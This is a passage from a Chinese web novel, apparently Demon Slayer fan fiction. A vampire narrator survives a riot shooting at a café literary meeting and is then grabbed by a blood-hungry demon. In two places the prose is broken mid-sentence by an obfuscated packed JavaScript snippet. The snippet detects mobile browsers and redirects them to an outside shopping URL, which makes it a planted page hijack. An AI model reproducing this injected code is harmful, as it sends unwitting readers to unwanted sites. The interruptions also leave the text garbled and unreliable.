“是呀,”文子大大咧咧地揽过和子,“猜猜我们谁是姐姐,谁是妹妹?” “虽然看起来很难,但我可以肯定文子你是妹妹呢。” “厉害,”你夸她,“我就没猜对,这里没几个人能猜对。” 文子摸摸姐姐的头发:“没办法嘛,身为姐姐还没有妹妹高,太逊了。” 和子气得反摸回去,一会儿两个人的头发就都乱糟糟的了。 你不得不出面拉架,一左一右把两个人分开,香奈惠也帮忙,把和子哄到了一边。 “你们的关系真好。”她的语气不带任何感情色彩,只是客观陈述,“她们很听你的。” “那当然了,”提起这个你就骄傲,“我是姐妹俩的老师,辅导她们进了东京女子高等师范学校。” 两个女大学生诶,还是二十世纪初的女大学生,你能吹到下辈子。变吸血鬼后你不可能拿到什么正经学历了,但你可以帮别人拿到呀,这可太有成就感了! 和子扳回一城:“我入学分数比她高,这是身为姐姐应该的。” 两个人又闹在一块了,你笑着摇头。 旁边几个座位都空了,只留下香奈惠。 她又叫了一声你的名字。 “可以和你讨论一些比较深的话题吗,”她问,“可能会有些冒犯,我担心……” “不会的,这里可以畅所欲言,我们组织文学社的目的就在此。”你指着自己的胸牌,上面的花体字“盐与光”闪闪发亮。 “它的意思是‘我们是世上的盐,世上的光’,盐若失了味就不能再咸,点灯要放在台上,照在人前,照亮一家的人,让人们看到你的好行为。所以,任何真诚的对话我们都欢迎,有深度的就更棒了。”* 你趁机给她推销自家的杂志和文学社:“我们,这里的每一个人都是基于同样的理念聚在一起的,香奈惠小姐有兴趣看我们的文章吗?里面最纯正的‘盐与光’精神。话说,这个名字还是我取的呢,我可是资深成员,可以介绍你正式入社——不信你问社长。” “你信基督教?” “啊,这个倒没有。我是是唯物主义无神论者。” 听到你的声音,桌子对面的幸勇先生回头笑笑,冲你们招手,然后手握成拳头拍拍胸口,意思是他可以用自己的信用给你担保,旁边的一诚先生也做出相同的动作。 “怎么样,香奈惠小姐要不要考虑考虑?”你期待地看着她。 “这样我就放心提问了,”她说,“我一直很好奇,你们……你对吃人这件事怎么看?” 你眨了一下眼睛。 吃人,什么吃人?食人族传说,岁大饥人相食,吃人的封建礼教,还是吃人的资产阶级?你的脑袋飞快运转起来。 “呃,吃人这种事,它的成因很复杂,”你开始组织语言,“我们要从物种进化、宗教、人类心理还有社会发展的角度来分析。” “这么多角度吗?” “是的,就有这么多。” 你点了咖啡,往里面加糖。 “物种早期的历史总是伴随着物质的匮乏,匮乏是进化的重要机制,同类相食的现象出现在所有物种中,智人也不例外,历史上因饥荒食人的例子数见不鲜,一些原始部落中仍然有此类传统习俗,通过食用死者震慑敌人或者送葬,有的宗教认为食人可以获得力量,把它仪式化,基督的信徒们饼当肉、葡萄酒当血吃了两千年,没人觉得不对,即使是二十世纪这样文明的时代,字面意义上的人吃人也会在看不见的角落里上演,不合理的剥削更是时刻成体系地吃人。”你侃侃而谈。 “暂时就想到这么多了,为什么问这个问题呢?”加好五勺糖,搅拌均匀,你端起来小口啜饮。* 你其实还想说,虽然如此,同类相食是注定要遭天谴的,朊病毒不会放过哪个,揭竿而起也是随时可能发生的。不过这个时间点好像还没朊病毒这一概念,你就把话咽回去了。 香奈惠的表情变得很奇怪,你说不上来,但隐隐不安。 “只是问问。”她勉强道。 “外面怎么这么吵?”你尝试转移话题,向外张望,忘记了窗户已经被红色的帷幕遮住,顿时尴尬不已。 “好像是对面的电影院有组织在集会,”时彦走过来,“我来得早,看到有好多人在门外排队,等着进去听演讲。” “这样啊,我还想活动结束了去看电影呢,看来不行了。” “你可真是个电影迷,有什么好看的,”他说完看向香奈惠,“她讲的有什么不对你别放在心里,这个人聪明脸蛋笨肚肠,说话不过脑子。” 原来是见势不妙给你解围的,但这张嘴真的是。你不乐道:“我哪里笨了,你给我说清楚。” “你哪里不笨了,”他无语道,“行了,快过来吧,社长有事商量呢——还喝咖啡,今晚不睡啦?” 你这才注意到不知不觉间走到了窗户边,离桌子有段距离了,赶紧回到座位上。看到你,一诚收回视线,时彦坐他旁边。 身后,香奈惠轻轻向实弥摇头。 自由讨论的固定环节是商议下一期活动的主题和杂志卷首文章,每个人都可以发表看法,是否采纳看情况,有时会选定好几期前提交的话题。你开始思考起来。 “你们关系很好啊。”香奈惠说。 “我和她,还有社长夫妻、一诚先生,我们是快十年的好朋友了。”时彦代替你回答道。 “老规矩,”社长道,“不限内容、不限时间、不限国别,多多益善,但优先最新的社会议题和进步思潮,大家畅所欲言吧。” “太难了,这几个月都没什么值得写的事发生。” “就是啊,近来日本国真是安静得过了。” “什么时候再来博览会那种盛世就不用愁了。” “但是那样也有麻烦,警察可不好对付。” “是啊,是啊。” 说到这里大家都点头。 “但还是写那种东西最有意思了,是吧?” 大家点头幅度更大了。 “就是啊,不写点为难审查的东西,怎么对得起自己动笔一回啊!” 气氛燃起来了,你擦起了汗。 “很对不起大家,”你双手合十,“是我给杂志社添麻烦了。” 自从你在博览会期间连写好几篇抨击人类馆的文章后,杂志社就被盯上了,好几家保守立场的刊物上场喷得你们狗血淋头不说,至今杂志社发刊都困难多了。 “怎么能怪你呢,”和子嘴快道,“后来我们不是都写了吗?这样的文章才符合我们的立场,我们就要写。” “安心啦,我办一本杂志停刊一本,这已经是最久的了,再停,我再办就是了,你们还给我投稿吧?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17146112|194774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 大家一起笑着说“是”,一诚也笑道:“你办一本杂志我就资助一本,永远不用担心。” 你感动得不行,无以为报,只能用选题砸。 “那我提议,下一期就写‘电影与文学’。” “听起来不错,但这两种东西隔得有点远吧。”时彦道。 “现在看来是这样,但很快就不是了。”你说,“电影发明以后,人类的生命至少延长了三倍。” 香奈惠和实弥又一起看了过来,让你有点慌。你终于知道今晚总是挥之不去的违和感从哪儿来了:这两人跟捕捉关键词的机器人似的,听到什么人啊、命啊、杀啊,就探照灯一样照着你,谁来都顶不住啊。 还好和子来救场了:“这也太夸张了吧。” 你忙接话:“不,不夸张,人们走进影院看同一部电影,被同一段的情节触动,欢笑或落泪,看到别人也如此,无形中观察、学习到社交的情感边界,建立起新的共识,电影早晚会引发社会全新的变革,甚至催生一个新的时代。我们要对人类的创造有信心,现在写,‘盐与光’就是这个赛道的先行者。社长,你快记下来。” 幸勇:“好,别人还有想法吗?” “我,我有,”文子举起手,“刚刚我也有了灵感。” 她卖了个关子,先环视一圈,然后慢悠悠道:“今天的主题是侦探小说,那下一期的主题就是鬼故事。” 你手一抖,差点儿把糖加到杯子外。 “这个主题,房间都不用换了,现在这样的布置就很好,灯可以关掉,我们点蜡烛,讲一个鬼故事吹一支蜡烛,直到全吹灭怎么样?” 你放入五勺糖,哆嗦着搅匀了。 香奈惠关切地问:“这么多糖,不会很腻吗?” 怎么这个人注意力总在你身上? 其他人也纷纷建言献策: “好啊,我们还可以玩笔仙。” “等我回去找找我家祖传的鬼故事。” 36度的嘴怎么能说出这么冰冷的话?你悲愤地端起咖啡杯一饮而尽,用甜滋滋的味道安慰自己。 文子发现了不对劲:“你是不是怕鬼啊?” 一时间所有人的视线落到了你身上。 你不说话。是的,怕鬼是你这个铁血唯物主义战士唯一的死穴。中学住校的时候,因为舍友讲了《午夜凶铃》的故事,你足有一周不敢独自睡,死乞白赖挤人家床上,直到被查寝的老师发现。 “不是吧,”时彦大肆嘲笑你,“这么胆小怎么还看侦探小说?平日是谁说自己不信鬼神的?我就知道你又懂《圣经》又看过那么多佛经,还算卦算星座八字,心里肯定信得不得了。” “能一样吗?”你反驳道,“怕鬼是怕鬼,怕鬼又不是相信鬼存在,‘鬼’代表着一种虚无缥缈的现象,它没有被证实也没有被证伪,永远不知道存不存在,就像黑暗一样不可知,这还不吓人吗?” 对未知的恐惧是人类的天性,和侦探小说里写实的、可控的场景有什么可比的啊。 而且,听听你们说的什么话,阴森的房间里一群胆大的年轻人,玩笔仙、讲鬼故事、吹蜡烛,这是标准的恐怖片开头好不好?知道什么叫不作死就不会死吗? 你惊慌地左顾右盼,这间全是红色的屋子,本来不觉得有什么,现在却到处透着诡异,你忍不住发抖。 “要玩这个,那我不来了。”你恳求地看着社长,“不要鬼故事。” 文子眼睛骨碌碌地转了一会儿,玩味道:“那我现在讲一个。” “别……” 你反对无效,她已经讲了起来,嗓音压得又低又沉: “有一个女生她总是听到课桌里传来哭声,但别人都听不到,她就问‘你为什么哭呀’,那个声音说‘我的身体不完整投不了胎’,女生决定帮助她。” 文子站起来,绕着圆桌走,让声音从每个人身后经过。 “女生找呀找呀,找到了很多身体部件,慢慢拼凑起来,可不管她怎么找,就是找不到左胳膊。没办法,女孩只好告诉声音‘我找不到左胳膊’。” “声音说……”文子站到你后面俯下身,“她说……” “左胳膊就在你这里。” 41.第 41 章 房间里响起凄厉的惨叫。 不死川实弥一脚踢开椅子,拔刀而上! 你连人带椅子摔倒在地上,文子没来得及松开手,一起摔下去压在了你身上,顿时痛呼连连。 这个变故发生得太过突然,屋里的人全傻住了,回过神赶紧上前,七手八脚地把你们拉了起来。 “怎么了、怎么了?” “这是怎么了?” 文子吸着气抬起头来:“没事儿,没事儿,就是手这里有点疼,可能会肿吧——呀,老师您没事吧?” 她急得都对你说回敬语了。 “没事儿,”你眼泪汪汪地爬起来,“我、我、我咬着舌头了。” 其实痛感还没传来就消失了,但眼泪一瞬间就不受控制地飙了出来,太丢人了。 你擦擦眼角:“你真的吓到我了!” 竟然一边拽住你的胳膊,一边在耳朵边幽幽地说着“左胳膊就在你这里”,你魂儿都要没了好吗? “对不起,对不起,对不起您!”文子连连鞠躬,“我没想到您竟然真的这么怕鬼,我玩笑开大了。” 雪実和一诚一边一个扶住你,惠美落后一步跟在身后,还担心地问:“没摔到哪里吧?” “没有,没有,”你原地踏步甩胳膊,“别担心了,看,一点事也没有,我这么一惊一乍,连累文子你了。” “喀”,是刀入鞘的声音。 不死川阴森森地盯着你:“叫那么大声,我还以为有人要杀你呢。” 你瑟缩一下:那么长一把刀他从哪里突然抽出来的,日本不是有禁刀令吗? 社长过来打圆场:“好了,大家都坐回去,不死川先生,危险物品就先收起来吧。” 时彦帮你重新倒了一杯咖啡,热腾腾、冒着热气的杯子握在手心里,没有像往常一样带来安心的感觉,惊吓后的余悸残留在心底,擂出一阵紧过一阵的鼓声。 不死川的刀,是冲着你来的,直觉在发出预警。 为什么?他们是什么人? 你的魂不守舍实在太过明显。时彦道:“别喝了,咖啡因容易让人紧张,我去弄点热牛奶吧。”文子再一次道歉,和子也一起来说对不起。 你强打起精神,笑着谢过他们,但也婉拒了时彦的好意。 更换物种后,你的味觉变化很大,口味非常之淡,却又对食物的一些特殊味道加倍敏感,要有很多很多的糖才能尝到一点儿甜,人类时不在乎的牛奶的腥味却变得难以忍受。但不管是哪种食物,都不再具有供能的效果,甚至会造成消耗。 他把椅子搬过来,坐到你和香奈惠中间。 “那我讲一个杀鬼的故事给你压压惊怎么样?” 不容你拒绝,他自顾自地讲起来:“从前有一个生意人运气不好,把钱都赔光了,他走投无路,到深山里去寻找传说中能带给人们幸福的神明。” 你不禁道:“这也太老土了,后续肯定是神明其实是鬼,利用人们的贪欲引人上钩,背地里把他们都吃掉了,对不对?” 探照灯又来了,你赶紧闭嘴。 时彦道:“你为什么这么想?” “鬼故事的套路都是这样的呀,一群人因为某个目的,搬家、冒险、游戏等等,来到陌生的地方,离奇的事情接二连三地上演,最后发现是有鬼。”说到这里,你打了个哆嗦,上辈子有限的阅片量全都涌了上来。 “这样的故事里,通常还有一个冲动的主角A对危险的征兆视而不见,倔头倔脑地往前冲,害得所有人陷入险境。这时冷静睿智的主角B上场,带领大家逃离,但仍然免不了一个接一个死去,剩下A或B一人。最后,他要么受尽折磨独自赴死,要么历经千辛万苦逃到一个地方,以为脱险了,却发现诅咒如影随形,突然不知什么时候又落入鬼的掌心。” 文子道:“对,就是这样,这才是鬼故事的精髓嘛!” 和子无奈地敲了一下她的脑门。 你笑笑:“但阅读这样的故事,很难不让人怀疑作者只是单纯在展示人类受苦的过程。大概鬼——我们暂且用‘鬼’来指代那些人生中毫无道理、突如其来的灾难,鬼的到来就是如此,它是最纯粹、最不遮掩的恶,轻而易举毁掉你的所有,不论善恶、不讲对错,比野兽、天灾更无情,至少这两样还是有手段规避的。而鬼,只要有一次,你就完了,余生都摆脱不了恐惧,且到死不能自洽。面对一只鬼,能怎么办呢?抵抗、逃跑或许有用,但更有可能的是,死得快点反而好,至少不那么受罪,活下来才是最痛苦的。我们能做的,唯有祈祷永远不遇见鬼。” 你说着说着,心情愈发低落,没有察觉到香奈惠和实弥落在你身上的目光变得非常复杂,区别是一个泛出很多的痛苦、纠结,一个马上重新填满冷厉。 “但我要讲的不是这样,”时彦轻快道,“生意人爬上了山,发现了一座非常漂亮的莲花池和建筑,他走进去看到一个神明一样的人在台上弘法。” 大家都听了进去,追问道:“然后呢?” “然后,‘神明’讲到一半,有个小姑娘冲上去大骂他是骗子。” 大家笑起来,这个转折太出乎意料了。 “然后呢?” 时彦装模作样地清清嗓子,端起杯子喝水,收获铁拳制裁。 “好好好,我讲,”他放下杯子,“再然后,鬼杀队来了。” 探照灯忽然换了方向,你有点不习惯。 “切。”文子给他喝倒彩,“没意思,我还以为是那个莽撞的小姑娘就此触怒邪神,变成没有理智的怪物,灾难降临,污秽一传十十传百,法会上的人接连死去呢。” “也不能说完全不对吧,不过我已经申明过了,这是一个杀鬼的故事。” 你也帮他说话:“这个设定很合理呀,天道贵衡,有恶鬼害人,就会有人来杀鬼,就像有妖怪就有安倍晴明,有德古拉就有范海辛。” 得,探照灯又回来了。 时彦继续讲:“鬼杀队的人和这只鬼打了起来,房子开始坍塌,小姑娘帮着大家逃到了外面,战斗持续到天亮。苏醒过来的人们不知道发生了什么,只看到昨夜华美的建筑像草叶上的露水,在阳光下消失不见了,一切就像梦一样。” 你点评道:“这个结尾有《聊斋》的感觉了。” 和子追问道:“那些人后来怎么样了,还有那个小姑娘呢?” “小姑娘和鬼一起消失不见了,鬼杀队的人也找不到她。生意人下山后大病一场,好了,他坚信这是命运的安排,上天派那人来拯救了他,于是他把原本要献给鬼的钱财拿去投资,重新赚回了钱,他的后人也一直平安喜乐。” 听到这里,大家都说“真是一个好结局”“这人虽倒霉,但也挺幸运的”。 时彦微笑:“生意人是我曾祖父,他讲给我祖父,祖父讲给父亲,传到我这里。我们家的人到今天还讲这个故事。” “哄小孩的吧?” “为什么要流传这种家族故事啊?” “无论是出于什么,我想,这个故事都是意义的。”时彦看向你,“像你说的,天道贵衡,每一场灾难后都有拯救的力量,就算有鬼这种完全在理解之外的东西从天而降,鬼杀队也会紧跟在其后。我们看到的有秩序的世界,都是他人整理好的,理所当然的幸福总有人在守护。这样想,是不是不害怕了呢?” 他绕了这么大一个圈子,其实是在想办法安慰你,你好感动:“谢谢,我好多了。” 幸勇也道:“讲得真不错,再多些这样的故事吧,下期主题就按文子的提议好不好?” 你当即变脸:“社长!” 大家笑起来。 社里的气氛重新变得轻松愉悦,诗织他们也提了几个选题,社长记下来,活动渐近尾声。 “讨论得差不多了,就来说说六月底的稿子吧,你们写得怎么样了?” “yes,sir,”时彦行个军礼,“全在这里了,请看。” 你打开包包翻了翻:“翻译稿再等等,这期的时评都好了。” 和子、诗织也交了稿,文子擦擦汗:“等等,再等我一天,就一天哈。” “好,”社长翻着稿纸,“我这里还有几个题目,稿酬按老规矩来,你们谁能接?” “我。”你们好几个人一起举手。 你顺利抢到几个英文翻译和文艺评论,掏出记事本,甩甩钢笔,把题目、事项一一誊抄上去,顺便划掉刚交的稿子。 “加紧写哦,”社长玩笑道,“这个速度,杂志社什么时候能扩张?” “欸,我们要扩张了吗?” “招不招新人啊?” 你心念一动,高声道:“社长,我要内推。” 你撕下记事本的一页,把青木光子的信息写上去:“这个人也算我的学生,我教她好多年了,水平不比一般中学毕业生差,保证可以胜任工作。等我回去和她商量,你先记一下。” 你早就觉得光子搓磨在家务活里实在是太浪费,有一份新工作增加收入开阔眼界,爱情的份量肯定会变淡的吧? 社长接过来:“你推荐的人当然信得过了。其他人呢,还有要说的吗?” 他往窗户的位置看了几眼,“外面怎么这么吵?时候不早了,你们都怎么回?” 时彦先举手:“我家里有人来接。” 和子、文子道:“我们坐电车。” 诗织:“我家不远。” 你道:“我不回家,我就留这里,等着看午夜场电影。” 说完你忍住没去看香奈惠,只听她道:“不死川会送我,不麻烦大家。” 一诚掏出怀表对一下时间:“那我们所有人先送诗织小姐,再送和子姐妹到车站。” “不用那么麻烦,坐我家的车吧,马上就到,等我先打个电话。” “可以,少爷家实力不俗啊。”大家玩笑着走出房间,来到咖啡馆的一楼。 嘈杂的声响更 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17150996|194774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大了,外面好像有什么人在演讲,他每高亢地说一句,就会有好多人激烈的附和,声浪一阵一阵的,吵得人头大。 时彦去收银台借电话用,你看手表,两个小孩从靠窗的座椅上跳下来,跑到社长夫妇跟前叫着爸爸妈妈。 雪実要拉住他们,他们闹着不让抱,踢蹬着要下去。雪実给闹出了一身汗,你从包里掏出糖,两个小孩马上围着你转起来。 “好甜,还要。” “再给我们讲个故事吧。” “讲个故事吧。” 雪実松了一口气,打趣道:“你喜欢孩子,怎么不和黑死牟先生生几个?” 开什么玩笑!你发出迅哥儿的声音:“孩子,偶然看看是有趣的,但养起来,整天在一起,却真是麻烦得很!” 这时兄弟中的弟弟抱住了你的腿,奶声奶气地还要糖吃,你不禁把他抱了起来,刮刮他的小鼻子,没等说什么,香奈惠拨开人挤过来,几乎是硬生生地把孩子强了过去,她身后,不死川肌肉贲张把衣服撑得满满的。 你和雪実一起愣住了,孩子也不舒服地哼起来。 香奈惠连忙放下孩子:“抱歉,我看你指甲有点尖,怕划到了。” 孩子脚一落地马上害怕地躲母亲身后,雪実护着他一手拦着你后退几步,实在是被不死川的表情吓到了。 你低头看手,确实,穿越过来你的指甲长出来就是尖尖的,剪掉也没有用,你没有黑死牟那样的耐心就随它去了,只当自己做了个杏仁形的美甲。现在看来,是有些不妥。 “抱歉。”你也道歉。 雪実摇头,拉着你走开了。 时彦打好了电话,边走边向你们抱怨。 “外面也太吵了,一直在喊叫,电话都听不清了——这位兄台,”他停在不死川面前,“刚才我就想说了,你的刀很漂亮,我可以看看吗?” 直觉又在疯狂地预警了。 你干笑一声,来拉时彦:“那肯定是人家的宝贝,你看什么看。” 你已经可以肯定,这两人是两人是冲你来的,不光是你,还有好多人也看出来了。虽然不知道原因,但他们在帮你,你不能连累到别人。 大家一走,我就跑。你想,惹不起我还躲不起吗? “这没什么,”不死川恶劣地笑着,他抽出了刀,“看吧。” 你眼前一花,好像是看到了一汪静止的流水递到眼前,轻薄的剑身内蕴浑厚的光,在灯下默默流淌。他翻动刀柄好让人们看清上面的铭文,波浪形的刃纹折射出粼粼的绿色,似有飒飒的风吹过。 恶鬼灭杀。 “好……”你脱口而出,“好酷!” 好中二!什么人会往刀上刻这个啊? 你打个寒战,一抬头果然看见他恨不得吃你的表情。这人怎么这样,夸都不行? “我这刀是用吸收阳光的猩红砂铁和猩红矿石锻造而成的,”他低沉道,“原料取自离太阳最近的山,从中炼出富含阳光的铁,可以斩除世间所有的恶鬼。” “这样啊,那很好啊。”你喃喃道,替人尴尬的毛病又犯了。 和子问:“这是属于天照大神的信仰吗?” 文子:“我知道!是类似于蜘蛛切那样可以辟邪的刀,对不对?” 一诚:“看这刀口是新锻的吧?技术不错啊,现在很少有这么好的新刀了,你哪儿弄来的?” 气氛就这样不可避免地歪掉,不死川的脸色越来越臭,你怀疑他用不了多久就要爆炸掉了,赶紧往旁边躲了躲。他注意到你的小动作,脸更黑了。 “喂!”他不客气地开口,“你……” 变故突如其来,打断了他的诘问。 “爸爸,”兄弟俩跑过来,“外面的那些人好像打起来了,来了好多警察。” 他话音刚落,你猛地扑过去,窗户上的玻璃应声碎裂,杯盘爆开,桌椅倒下,人们惊叫着乱跑,没头苍蝇一样乱撞,炸裂声仍在耳边接二连三的响起。 “怎么回事?” “发生了什么?” 你紧紧地护住两个孩子,把他们塞到身下,声嘶力竭地大喊:“趴下,快趴下!” 社长和一诚先生立即反应过来过来,带着身边的人伏倒,又一轮扫射袭来,大厅正中的吊灯闪出几道火花,然后笔直地坠落。黑暗中,人们的惊慌的叫声更加清晰。 良久,屋内陷入死寂,社长颤抖的声音响起:“我来点名,在的人答应一声。” 他依次叫起文学社成员的名字,稀稀拉拉的应答声从各个方向传来: “我在呢。” “我没事儿,就是吓得腿软。” “我也在,没受伤。” …… 他松了一口气,最后唤你:“都没事吧?” “没事。”你答,双手摩挲着两个小家伙瑟瑟发抖的脑袋,再次确认他们毫发未伤。 你没说谎,是真的没事,只不过是四颗子弹射中了身体。 42.第 42 章 血腥味在这间不大的店面里弥漫,门外的混乱渐至高潮。 文子的啜泣一声一声传来。 “我错了,”她哭得抽噎,“我不该说日本太安静了。” 和子在旁小声地安慰她。 “别担心,”你忍痛道,“都上枪了,马上就会结束了。” 是外面游行示威的人遭遇了警方的镇压,现在整条巷子里的人都卷了械斗,令人牙酸的击打声时不时传来,街道两边的店铺在挺过第一波无差别攻击后反而安全了。 大家安静下来,靠外边人自发搬动桌椅堵住门窗。 时彦支起身子慢慢爬到墙角。 “我刚刚看到橱柜上有蜡烛,我去拿。”他道。 “当心些,”一诚提醒他,“先等我们把窗帘放下来。” 烛光亮起,照出一张张泪痕未干的脸,大家你看看我我看看你,都露出放松的笑容。 未几,文子尖声大叫。 你的身下已浸出一滩血液。 “我没事,”你轻声道,“真的没事。” 子弹击中你的身躯,穿透胸腹,没入身后的墙壁,留下的伤瞬间愈合,几乎没有带来任何痛感。但糟糕的是,还有两颗,大概角度的问题,它们嵌进了你的肋骨。 洞开的血肉蠕动着要重新交汇,新生的血管与肌体合力要将外来的异物挤出去,那两颗倒霉的子弹就这么徘徊在腹腔和骨头之间,反而带出更多的血。 但这是暂时的,用不了多久,弹头就会掉出来,身体上疤痕都不会有。 唯一的问题是,你要怎么掩饰过去呢?你的呼吸急促起来。 和子、文子抱在一起流泪,雪実和惠美抱出孩子,一个捏着你的手,一个摸着你的额头,好像这样就能让你好受一些。 “你们,让开一点,”你艰难地想办法,“这样我要喘不过气了。” 以你为中心的圆马上拉开了半径,只除两个人没动。 香奈惠道:“我是医生,我来给你看看吧。” 所有人摒弃前嫌,看着她的目光充满了庆幸和感激。 你歪过头对上她和她旁边的人,因为背着光,两人的表情并不清晰,但你猜它们不会有什么变化,那是探究的、戒备的,还有莫有其名的敌意。 这样,也好。 你叫着社长:“幸勇先生,楼上更安全,快带大家去吧。有蝴蝶小姐在,我很放心。” 店里的其他客人也开始哭着往楼梯上爬。 社长摇头:“我留下来陪你。” 一诚先生拉起他:“快和夫人、孩子们去吧,我留下来。” 你急得开始冒汗:“我真的没事,不严重,你们快走吧。” “都别吵了,”时彦撸起袖子,“我在军校里学过一点急救,我留下来。” 这是最糟糕的局面。 你死死地捂住中弹的地方,说什么也不松手。 时彦操着剪刀急得想骂人:“我就剪开这里,别的都不看,行吧?” “不行!”你堪比英勇就义的烈士,“绝对不行!” “好,我相信你伤得确实不重,但一直不处理的话也会有问题。”他改变话术,“你一个新时代的女性,怎么在需要医学的时刻这么迂腐呢?你好意思再说自己是进步人士吗?” 子弹带着濡湿的血液滑入掌心,你视死如归:“就是不行。” “OK,OK,”他比一个手势缓缓后退,“剪刀我给蝴蝶小姐,她来剪,总可以了吧?” 这是谁来的事吗?这是你已经好了的事啊! 你绝望地闭上眼睛:“我觉得就是让子弹擦了一下,没必要看的。一会儿伤口自己就长住了,真的。” “别闹,”他几乎愠怒了,“擦伤不会有这么多血,别拿命开玩笑!蝴蝶小姐,你来吧。” 香奈惠接过了剪刀。从蜡烛点亮,她就没有动过,立在你前方,头微微低下,看着你的目光似含有无限的悲悯。 等等,为什么是悲悯?你愣住了。 她何时转换了态度,你想不起来,只好去看不死川——还好,他还是一副恨不得弄死你的样子,你诡异地安心。 香奈惠蹲下来:“我看看,好吗?” 你松开手,缓缓坐起来。 “我坦白,”你说,“我其实……” 是个吸血鬼。 半截话含在嘴里,你正思考着用什么语气说出来比较合适,不会让人以为脑子突然坏掉了,没堤防一抬头差点儿吓到魂飞魄散。 “啊啊啊!”你挥舞着手疯狂后退,“有鬼,有鬼,那里有鬼啊!” 时彦立即冲过来摁住你:“别乱动,伤口会裂的!” “不是,那里有鬼,不,是妖怪,真的是妖怪啊!” 不死川实弥拔出刀冲了上去。 三只奇形怪状的生物盘踞在咖啡屋外的灯柱上,三颗头轮番从砸破的玻璃窗伸进来,上面数不清的眼珠滴溜溜地转,三张嘴一开一合,腥臭味塞满了整间屋子: “血。” “有好多血。” “好多人在流血。” “但这里最香。” “这是稀血的味道。” 砰!临街的整面玻璃彻底爆裂,三颗头争先恐后地挤进窗口,嗞哩哇啦地大叫: “太好啦!是稀血!” “美味的稀血!” “我们要吃稀血!” 嘎嘣一下,你有点儿死掉了,坚持了两辈子的唯物主义世界观碎了个彻底。我这是穿到了一个什么妖魔鬼怪的世界?和吸血鬼配套的不应该是狼人吗?这又是个啥? 时彦也傻眼了:“这、这,是开玩笑吗?” 没人回答他,香奈惠急道:“不死川!” 实弥一刀斩下一颗头:“我没有!” 他看起来冲动又易怒,很容易为什么无脑上头,但这只是表象而已。实际上,面对鬼,实弥从来是谋定而后动的,这是他在还不知道鬼杀队和日轮刀的时候就养成的习惯。 实弥清楚自己的优势是什么,同时也比旁人以为的要珍惜自己的优势,既然香奈惠严肃告知过这段时间不宜失血,那他就不会这么做。况且,他不觉得两个柱围杀这种杂鱼,需要用得上放血。 什么,没有?香奈惠愣住,那稀血是…… 被激怒的鬼狂怒地吼叫起来,疯狂扭动的脖颈上重新长出了一颗脑袋,它拆毁西洋风格的铁艺门,臃肿的身躯整个挤进来:这竟然是一只鬼! “多长几个头,就以为我砍不下来了吗,恶鬼?”实弥冷笑着一跃而起,“风之呼吸·一之型·尘旋风·削斩!” 变形的鬼伸出数条延长的胳膊在屋里乱抓乱挠,三张嘴一起嘶吼:“稀血,给我稀血!” 点亮的烛台尽数打翻,屋内重归黑暗。 时彦一个翻身盖在你身上,香奈惠回身上前手一挥,那些手臂尽数断裂! “别惊讶,”她对同伴道,“身为鬼杀队的柱,怎么可以不带刀呢?” 这是一柄短短的胁差,和日轮刀同等材料,就藏在腋下。之所以不拿出来,只是不想错过和鬼交流的机会罢了。 实弥回过头,专心杀鬼,方才那一刀他削掉了两个头,鬼的再生速度大幅弱化,再来一刀就—— “稀血!”鬼开心的叫喊起来,在香奈惠砍手的当口,它的一只手贴着地面摸到了你流下来的血,上面咧开了一张小嘴,及时只眼睛迷醉地半眯起来。 咕唧、咕唧,血肉模糊的断面上长出了五颗头。 你的san值持续下降,四肢完全僵住了。在将将要清零的前一秒,时彦使劲地掐你脸:“振作啊!” 他拖着你上楼梯:“忍住!” “我、我、我能走,”你手脚并用地爬起来,“别管我先跑啊!” 开玩笑,你个吸血鬼怕什么,时彦才是血肉之躯啊。你使劲推着他走上楼,踉跄着差点儿摔倒。 “稀血!”鬼又喊起来,醉酒似的摇晃的身躯膨胀了一倍,占满半个大厅,硕大无朋的脑袋顶破天花板,二楼响起此起彼伏的尖叫。 糟糕!你心急如焚:“快带他们到楼梯间躲躲!” 时彦不答话,他愤怒地转过身拳打脚踢,喊着你听不懂的话。你愣愣地低下头,看到腰间结结实实缠着几道触手。 “稀血,拿到了!” 你飞了出去。 楼梯的木质扶手、垂落的水晶吊灯、七零八落的桌椅,每一样都给拖行中的你造成额外的伤害。骨头撞断、皮肤划破然后愈合,痛感微乎其微,恶心的是,当你鲜血淋漓,缠在身上越来越多的手臂就愈发兴奋,它们勒得更紧,尖锐的叫喊伴随着更加起劲的折磨。 它是故意的,故意增加、延长你的痛苦,让血涌出更多。 慢了半拍你的尖叫才响起,纠缠着的好几只手颠来颠去,你被甩得七荤八素。 实弥和香奈惠合力砍下一颗又一颗脑袋,但只要你在出血,它总能得到补充。 “啊,美味。”几十双眼睛一起盯住了你,“一口就比得上数十人,这就是稀血吗?” 聚拢过来的几张脸上浮现出如出一辙的痴迷:“快吃了她吧。” 这样扭曲的怪物竟有如此人性化的表情,你直接触发恐怖谷效应,反胃干呕起来。 实弥长刀挥出:“贰之型·爪爪·科户风!” 四道斩击同时起效,如猛兽利爪袭来。 “慢着!”香奈惠大喊,你已和身上的手臂碎得七零八落一起落下。 “啊!可恶、可恶、可恶、可恶!” 十几声“可恶”如同最高级的立体环绕声围着你滚到两边的耳朵尖叫,而你全身僵直,像被猛兽喉管的兔子,再无一丝反抗的余地。 